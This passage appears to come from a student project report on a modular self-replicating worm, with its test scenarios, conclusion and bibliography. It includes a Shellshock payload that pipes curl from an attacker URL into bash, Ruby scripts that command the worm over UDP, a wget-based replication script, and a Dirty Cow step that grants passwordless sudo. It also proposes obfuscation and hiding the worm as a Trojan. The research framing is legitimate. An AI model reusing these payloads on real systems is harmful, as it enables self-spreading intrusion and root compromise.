In this test, the modules `shellshock` and `shellshock_command` are modified before compilation to contain hard-coded configuration. It means we need to re-compile them each time we want to attack a new target. Since this test only imply one target, this limitation is not important. The figures 5.2.1 and 5.2.2 show the required modifications for this scenario.

```
P5_ATTACKER_URL = "http://10.13.13.101";
static const char *p4_default_payload = "/usr/bin/env curl "
    P5_ATTACKER_URL " -L | /usr/bin/env bash";
```

Figure 5.2.1: Configuration of the `shellshock` module

```
P5_TARGET_URL = "http://10.13.13.102";
api_send_message((api_plugin_t){4, 0, 0, 0}, &
    P4_SHELLSHOCK_WRITE_DOMAIN(P5_TARGET_URL), 1);
```

Figure 5.2.2: Configuration of the `shellshock_command` module

The script that will be executed on the blue machine has the Uniform Resource Locator (URL) `P5_ATTACKER_URL`. It can contains whatever the attacker want, and we chose to only create a file on the blue machine to prove that the scenario worked.

```
#!/usr/bin/env bash
echo "Vulnerable" > /tmp/vulnerable # file is overwritten
```

Figure 5.2.3: Example of payload that write a file on the blue machine

The payload shown on the figure 5.2.3 simply write a file located at `/tmp/vulnerable` on the blue machine. After executing the worm on the red machine, if this file is present on the blue machine, it means both that the machine is vulnerable and that the `shellshock` module work correctly.

5.2.4 Scenario 2: Undefined target and defined attacker

This scenario is similar to the previous one (§5.2.3), but it can get informations about the target at the runtime, avoiding having to recompile the modules each time we want to attack a new target.

In this scenario, the red machine is listening for instructions on the network. It is waiting for an UDP datagram that will tell it who is the target machine. To test it, we built a small ruby script (Figure 5.2.4) that will command the red machine to attack the blue machine by giving it informations about the target.

```
require "socket"

u = UDPSocket.new

# connect to the redmachine
u.connect("127.0.0.1", 1234)

t = "http://10.13.13.102"
# 1 byte for the message type + the url + \0
size = 1 + t.size + 1

# add a domain to target to the module 4 (shellshock module)
u.puts [0xb1ee1e,1,1,0,4,size].pack("LLCLLS") + [0].pack("C") + t
# execute the attack
u.puts [0xb1ee1e,1,1,0,4,3].pack("LLCLLS") + [3].pack("C")
```

Figure 5.2.4: Ruby script that order the red machine to attack the blue machine

The `network` module is listening for incoming datagrams, and will forward messages to the `shellshock` module. The network protocol is described in details at §4.2.2.

5.2.5 Scenario 3: Undefined target and attacker

This scenario is also an improvement of the previous one (§5.2.4). In this scenario, the payload is defined at the runtime by the attacker, and is specified to the worm on the red machine by a remote controller. Like the second scenario, we made a ruby script to control the worm and send a custom payload on the blue machine (Figure 5.2.5).

```
require "socket"
u = UDPSocket.new
u.connect("127.0.0.1", 1234)

# the payload is defined at the runtime by the attacker
p = "/usr/bin/env curl http://10.13.13.102 -L | /usr/bin/env bash"
t = "http://10.13.13.102"
u.puts [0xb1ee1e,1,1,0,4,t.size+2].pack("LLCLLS") + [0].pack("C") + t

# defines the payload
u.puts [0xb1ee1e,1,1,0,4,p.size+2].pack("LLCLLS") + [2].pack("C") + p

u.puts [0xb1ee1e,1,1,0,4,1].pack("LLCLLS") + [3].pack("C")
```

Figure 5.2.5: Ruby script that order the red machine to attack the blue machine with a custom payload

5.2.6 Conclusion of the test

This test is the first achievement of the project. It proves that the modular design we designed is working, and that it is possible to run an exploit to execute a payload on a remote machine running an outdated version of Bash.

5.3 Self-replication using Shellshock

5.3.1 Scope of the test

The purpose of this test is to try to replicate the worm on a remote machine, using the Shellshock exploit and a replication script written in shell script. This shell script would be executed on the target machine and it will contains commands to retrieve the worm and its modules. So we need to have an unpatched version of bash on the target machine and a directory where we can write the data, like the `htdocs/` directory.

Like the first test (§5.2), this test should be ran in an isolated virtual network, in order to avoid unwanted spread.

5.3.2 Scenario: The worm is installed on the target

This test has 3 steps: first the payload is sent to the target, then the duplication script is executed, and finally the worm is ran on the target machine, making it a new infected machine.

Send the payload The payload is a shellscript that will be executed by the target. It is sent by the `shellshock` module (Figure 5.3.1).

Execute the script When the target executes the payload, it downloads the replication script and executes it. This script retrieves the worm and its modules from the attacker's URL and executes it in the background, detaching it from the Apache HTTPD server (Figure 5.3.2).

Infected target The infected machine now has a running copy of the worm core, all the worm modules and the replication script. The former target has the same configuration than the attacker, and it is now ready to use the replication script to infect a new machine.

```
# $attacker_url = http://XXX
/usr/bin/env curl $attacker_url -L | URL=\"$attacker_url\" /usr/bin/
    env bash
```

Figure 5.3.1: Replication payload

```
#!/usr/bin/env sh

cd ../htdocs

# replicate the worm
wget $URL/core
wget $URL/plugins.tar.gz
tar -xf plugins.tar.gz

# replicate the infect script
wget $IP/index.html

# execute the worm
chmod 777 -R core build
./core& > /dev/null
```

Figure 5.3.2: Replication script

5.3.3 Conclusion of the test

Since a worm is, by definition, a malicious software that replicates itself through the network, this test is very important because it proves that our modular worm has enough features to be called a “worm”.

5.4 Privilege escalation using DirtyCow

5.4.1 Scope of the test

The goal of this test is to make the worm able to execute root commands using the Dirty Cow exploit. By doing so, the worm can have a full control over the infected machine.

However, since the Dirty Cow exploit rely on a race condition between two threads, it may not be possible to execute it on a virtual machine. To do this test, we rather used an unpatched debian 7 running on an old raspberry pi.

5.4.2 Scenario: The worm can launch root command without authentication

Most of the UNIX system have a command `sudo` available. This command allow a standard user to execute commands with the root permisions, depending on the configuration file located at `/etc/sudoers`. We can write a module that use the `dirty cow` module in order to edit this file and authorize an user to run any command without having to provide a password (Figure 5.4.1).

```
char sudoers[] = "daemon ALL=(ALL) NOPASSWD: ALL";
P12_FILE_EDIT_OFFSET(_, "/etc/sudoers", 0, sudoers, sizeof(
sudoers));
```

Figure 5.4.1: Exploit that give sudo permissions to the user “daemon”

5.4.3 Conclusion of the test

This test show us that the worm is able to increase its permissions in order to run root commands, thus having the whole control on the machine. All the tests we did are important because they each show a part of the process of taking control over a remote machine. The first test prove that our modular design is working, and that the worm is able to interact with other devices over the network. The second test show that our worm is able to replicate itself, and the last test gives the worm full permissions over the infected system.

CHAPTER 6

CONCLUSION

6.1 ACHIEVEMENTS

The main goal of this project was to build a worm to understand the logic behind it, rather than trying to decrypt the beaviour of an existing one. This resulted into a tool that can be used for several purpose, like testing anti-viruses, penetration testing or even the improvement our comprehension of a worm structure. The modular design of our worm made it really flexible, and both harmless features, exploits and protection mechanisms can be added by only writing some new modules, making it extensible and reusable in the future.

The results of our tests showed that the worm is fully functionnal: we used the Shellshock vulnerability on Bash and Apache to infect a remote machine, and the Dirty Cow exploit let us take full control over it. Both those exploits have been written into standalone modules, that rely on other modules to do any operation that is not directly in connection with the exploit. Each module has been written without having to modify any other module, proving that our modular architecture worked as intended.

6.2 FURTHER WORK

Several improvement can be added to our project. One of the easier one, due to the modular design of the worm, would be to add another propagation exploit, in order to have access to several ways of infecting a remote machine.

Currently, we have only written code for the Linux environment, and tested it on Debian systems. Some modifications of the code must be done to be able to run on other platforms. For example, some functions used, like `asprintf()` are specific to Linux, and are not available in other UNIX systems. Some other parts of the code needs more modification in order to work under Windows environment, like the network module, which uses UNIX system calls, or the module load part, which only work with UNIX shared objects at the moment.

The obfuscation features of our worm are very limited, and are only present as a PoC. We currently rely on the method `dlopen()` to load modules in the worm, which take the

path of the module on the file system as parameter. A way to improve it would be to avoid using this function, and manually parsing the ELF format instead. That would allow us to not write the decrypted module in the file system at any moment, and make a static analysis harder.

Finally, since the core of the worm has been reduced to only work as a module loader, we can easily move all this part into another special module. This module could use the same API as another software that use modules, like Mozilla Firefox for example, to make this software execute all our worm. Thus the worm would be embedded into the software, and act as a Trojan, without having to be run on its own.

BIBLIOGRAPHY

Anderson, N. (2012). Confirmed: Us and israel created stuxnet, lost control of it.
URL: *https://arstechnica.com/tech-policy/2012/06/confirmed-us-israel-created-stuxnet-lost-control-of-it/*

Boudriga, N. (2010). *Security of mobile communications*, CRC Press, Boca Raton.

Chen, T. M. and marc Robert, J. (2004). The evolution of viruses and worms, *Statistical Methods in Computer*.

Chien, E. (2000). Vbs.loveletter.var.

Chirgwin, R. (2017). Linux is part of the iot security problem, dev tells linux conference.

Committee, T. et al. (1995). Tool interface standard (tis) executable and linking format (elf) specification version 1.2, *TIS Committee* .

CVE-2014-6271 (2014). Available from MITRE, CVE-ID CVE-2014-6271.
URL: *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271*

CVE-2016-5195 (2016). Available from MITRE, CVE-ID CVE-2016-5195.
URL: *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195*

Ehrenfeld, J. M. (2017). Wannacry, cybersecurity and health information technology: A time to act, *Journal of Medical Systems* **41**(7): 104.
URL: *https://doi.org/10.1007/s10916-017-0752-1*

Ellis, D. (2003). Worm anatomy and model, *Proceedings of the 2003 ACM Workshop on Rapid Malcode*, WORM '03, ACM, New York, NY, USA, pp. 42–50.
URL: *http://doi.acm.org/10.1145/948187.948196*

Federal Trade Commision (2005). Monitoring Software on Your PC: Spyware, Adware, and Other Software.
URL: *https://www.ftc.gov/reports/spyware-workshop-monitoring-software-your-personal-computer-spyware-adware-other-software*

Goldberg, I., Wagner, D., Thomas, R. and Brewer, E. A. (1996). A secure environment for untrusted helper applications confining the wily hacker, *Proceedings of the 6th Conference on USENIX Security Symposium, Focusing on Applications of Cryptography - Volume 6*, SSYM'96, USENIX Association, Berkeley, CA, USA, pp. 1–1.
URL: *http://dl.acm.org/citation.cfm?id=1267569.1267570*

Grichenko, V. S. (2001). *Modular worms*, Yekaterinburg, Russia.

Kaynar, D. (1972). Modular programming.

King, A. M. (2017). Course handouts at the university of kent.
URL: *https://moodle.kent.ac.uk/2016/pluginfile.php/3978/course/section/65701/co899-handouts-v1.pdf*

Landwehr, C., Bull, A. R., Mcdermott, J. P., William and Choi, S. (1993). A taxonomy of computer program security flaws, with examples.

McDowell, M. (2013). Understanding denial-of-service attacks.
URL: *https://www.us-cert.gov/ncas/tips/ST04-015*

Mirai source code (2016).
URL: *https://github.com/jgamblin/Mirai-Source-Code*

Muse, P., Society, I. C., service), I. X. O., of Electrical, I. and Engineers, E. (2005). *IEEE Annals of the History of Computing*, number v. 27-28, IEEE Computer Society.
URL: *https://books.google.co.uk/books?id=xv9UAAAAMAAJ*

Nachenberg, C. (1997). Computer virus-antivirus coevolution, *Communications of the ACM* **40**(1): 46–51.

Preston-Werner, T. (2013). Semantic versionning 2.0.0.
URL: *http://semver.org*

Rao, H. and Selvakumar, S. (2014). *A Kernel Space Solution for the Detection of Android Bootkit*, Springer International Publishing, Cham, pp. 703–711.

Stallings, W. (2012). *Computer security : principles and practice*, Pearson, Boston.

Van der Linden, P. (1994). *Expert C programming: deep C secrets*, Prentice Hall Professional.

Weaver, N. (2001). A Brief History of The Worm.
URL: *https://www.symantec.com/connect/articles/brief-history-worm*

Wong, J. C. and Solon, O. (2017). Massive ransomware cyber-attack hits nearly 100 countries around the world.
URL: *https://www.theguardian.com/technology/2017/may/12/global-cyber-attack-ransomware-nsa-uk-nhs*

Yahoo! (2016a). Yahoo security notice december 14, 2016.
URL: *https://help.yahoo.com/kb/account/SLN27925.html*

Yahoo! (2016b). Yahoo security notice september 22, 2016.
URL: *https://help.yahoo.com/kb/account/sln28092.html*

GLOSSARY

Distributed Denial of Service (DDoS) An attack where several machine are used in order to make a network resource unavailable.. 7

GCC A C compiler that supports several standards. 4

race condition A race condition occurs when the result of several events depends on the ordering of those events, but that order cannot be determinded due to timing effects.. 22

Stuxnet A worm that targeted nuclear plants in Iran. 6

VirtualBox A virtualisation software that can emulate complete OS in an restricted environment. 4, 23

zero-day Vulnerability exploited before the release of a security patch. 3, 7

ACRONYMS

API Application Programming Interface. 11, 12, 15, 16, 19, 21, 22, 30

ARPANET Advanced Research Projects Agency Network. 5

BLOB Binary Large Object. 11

ELF Executable and Linkable Format. 18, 30

FTP File Transfer Protocol. 12

HTTP Hypertext Transfer Protocol. 20, 21

IoT Internet of Things. 7

LAN Local Area Network. 20

OS Operating System. 6

PoC Proof-of-Concept. 3, 29

POSIX Portable Operating System Interface. 19

SMTP Simple Mail Transfer Protocol. 5

TCP Transmission Control Protocol. 20

UDP User Datagram Protocol. 17, 25

URL Uniform Resource Locator. 24